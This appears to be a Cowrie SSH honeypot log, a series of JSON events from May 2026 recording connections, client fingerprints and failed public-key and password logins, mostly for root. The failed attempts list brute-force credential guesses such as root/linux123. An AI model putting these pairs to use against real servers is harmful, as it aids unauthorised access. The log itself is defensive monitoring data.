{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:71:e0:15:7b:52:71:ae:35:ff:24:78:d7:e1:e8:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiC/nuoGvTDrGeGS9R1W6g+gIDaschxuxf2pj8ax+c/50gw9JXZzQVLEVRVEIqQBXDmmJwgB0aH5cwJj+Hyddv/IDCE+ntUDNJPFauyojJHk7jdYgdnxwbqruCzgFOe2PQqQ/bKJokgGyCSZAhdGlhmqGjSBSQeY8JjMa+Q6+y5l3Us/jGrkkr1efwtYzJRJUtaW2h1AMMSuitBX95Oj7m02OKNisRdsS7vIxIJ3k1Jg/MhFmVxFc+cutC2d7M2+82RcTOa/0qakMOuaRbnGpTfyGzi1qgpx+IYFkRCFSK5ORbFHT/E1Lv1F31MmEkD2sd48WgTA47QUQMcecQLJXp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:71:e0:15:7b:52:71:ae:35:ff:24:78:d7:e1:e8:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.571913Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:71:e0:15:7b:52:71:ae:35:ff:24:78:d7:e1:e8:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiC/nuoGvTDrGeGS9R1W6g+gIDaschxuxf2pj8ax+c/50gw9JXZzQVLEVRVEIqQBXDmmJwgB0aH5cwJj+Hyddv/IDCE+ntUDNJPFauyojJHk7jdYgdnxwbqruCzgFOe2PQqQ/bKJokgGyCSZAhdGlhmqGjSBSQeY8JjMa+Q6+y5l3Us/jGrkkr1efwtYzJRJUtaW2h1AMMSuitBX95Oj7m02OKNisRdsS7vIxIJ3k1Jg/MhFmVxFc+cutC2d7M2+82RcTOa/0qakMOuaRbnGpTfyGzi1qgpx+IYFkRCFSK5ORbFHT/E1Lv1F31MmEkD2sd48WgTA47QUQMcecQLJXp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.575459Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:cb:1d:0f:31:a2:14:b5:c3:3f:fe:03:06:06:61:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYkx8xwEKUyGWS4cRvca7nlitRQP458dA4OLFE7+b2tORuyCAVKclqVQySQT/uiqoBUhRsdF3S2jUGfg6oRTeRw13l9LCULF+Km5U3Ir0OenuZLI+DLM3dG51MjyqgrLlGMHJriXmN5RY1gyjh5MpslGkFLn/AgV9mBmE/Aa1QGC5aYB6s8IJRozYiTBezONa1CJ+HG9lMJDy11RD6TR7JzgDUJwbZL7Ifql/xarGGBLFBwGVKZPbuwP/lTCZ/t6wZgSGm7hA4jFlhsHffEGPQ6pCUhOj0L73W2RGkWdsEtB22WyDXom3v6Q0mBQuWbrlGdeSlmcrdVrJ4tKlaDsmR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:cb:1d:0f:31:a2:14:b5:c3:3f:fe:03:06:06:61:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.712088Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:cb:1d:0f:31:a2:14:b5:c3:3f:fe:03:06:06:61:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYkx8xwEKUyGWS4cRvca7nlitRQP458dA4OLFE7+b2tORuyCAVKclqVQySQT/uiqoBUhRsdF3S2jUGfg6oRTeRw13l9LCULF+Km5U3Ir0OenuZLI+DLM3dG51MjyqgrLlGMHJriXmN5RY1gyjh5MpslGkFLn/AgV9mBmE/Aa1QGC5aYB6s8IJRozYiTBezONa1CJ+HG9lMJDy11RD6TR7JzgDUJwbZL7Ifql/xarGGBLFBwGVKZPbuwP/lTCZ/t6wZgSGm7hA4jFlhsHffEGPQ6pCUhOj0L73W2RGkWdsEtB22WyDXom3v6Q0mBQuWbrlGdeSlmcrdVrJ4tKlaDsmR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.715894Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.850099Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":54582,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1da8e5896e","protocol":"ssh","message":"New connection: 192.169.243.246:54582 (159.203.135.109:22) [session: 1d1da8e5896e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:04.766721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:04.772553Z","src_ip":"192.169.243.246","session":"1d1da8e5896e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:04.844108Z","src_ip":"192.169.243.246","session":"1d1da8e5896e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"invoices","message":"login attempt [root/invoices] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:05.164435Z","src_ip":"192.169.243.246","session":"1d1da8e5896e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:06.239851Z","src_ip":"192.169.243.246","session":"1d1da8e5896e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"20eb8eb129fd","protocol":"ssh","message":"New connection: 95.58.255.251:52056 (10.17.0.5:22) [session: 20eb8eb129fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:18.446218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:18.450713Z","src_ip":"95.58.255.251","session":"20eb8eb129fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:18.616988Z","src_ip":"95.58.255.251","session":"20eb8eb129fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:19.315151Z","src_ip":"95.58.255.251","session":"20eb8eb129fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:18:20.484466Z","src_ip":"95.58.255.251","session":"20eb8eb129fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":35732,"dst_ip":"10.17.0.5","dst_port":22,"session":"1924e44a3d84","protocol":"ssh","message":"New connection: 43.162.109.147:35732 (10.17.0.5:22) [session: 1924e44a3d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:06.330280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:06.335750Z","src_ip":"43.162.109.147","session":"1924e44a3d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:06.404822Z","src_ip":"43.162.109.147","session":"1924e44a3d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex321","message":"login attempt [root/alex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:06.712916Z","src_ip":"43.162.109.147","session":"1924e44a3d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:07.785562Z","src_ip":"43.162.109.147","session":"1924e44a3d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.111.13","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7bf87f76406","protocol":"ssh","message":"New connection: 14.103.111.13:43070 (159.203.135.109:22) [session: f7bf87f76406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:08.344352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:08.349635Z","src_ip":"14.103.111.13","session":"f7bf87f76406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:14.587858Z","src_ip":"14.103.111.13","session":"f7bf87f76406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gameserver","message":"login attempt [root/gameserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:15.258945Z","src_ip":"14.103.111.13","session":"f7bf87f76406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:16.483674Z","src_ip":"14.103.111.13","session":"f7bf87f76406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":53878,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd2441699af","protocol":"ssh","message":"New connection: 192.169.243.246:53878 (159.203.135.109:22) [session: 3fd2441699af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:19.268487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:19.273485Z","src_ip":"192.169.243.246","session":"3fd2441699af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:19.345237Z","src_ip":"192.169.243.246","session":"3fd2441699af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:19.665399Z","src_ip":"192.169.243.246","session":"3fd2441699af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:20.740742Z","src_ip":"192.169.243.246","session":"3fd2441699af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":33948,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4f1a6bb1ce","protocol":"ssh","message":"New connection: 95.58.255.251:33948 (10.17.0.5:22) [session: 6b4f1a6bb1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:33.404204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:33.409147Z","src_ip":"95.58.255.251","session":"6b4f1a6bb1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:33.575319Z","src_ip":"95.58.255.251","session":"6b4f1a6bb1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterix","message":"login attempt [root/asterix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:34.257667Z","src_ip":"95.58.255.251","session":"6b4f1a6bb1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:19:35.430173Z","src_ip":"95.58.255.251","session":"6b4f1a6bb1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":39816,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d991f3059e","protocol":"ssh","message":"New connection: 43.162.109.147:39816 (10.17.0.5:22) [session: 75d991f3059e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:20.268768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:20.274232Z","src_ip":"43.162.109.147","session":"75d991f3059e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:20.342665Z","src_ip":"43.162.109.147","session":"75d991f3059e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:20.646868Z","src_ip":"43.162.109.147","session":"75d991f3059e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:21.718254Z","src_ip":"43.162.109.147","session":"75d991f3059e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":53176,"dst_ip":"159.203.135.109","dst_port":22,"session":"276d1c277d76","protocol":"ssh","message":"New connection: 192.169.243.246:53176 (159.203.135.109:22) [session: 276d1c277d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:34.181394Z"}
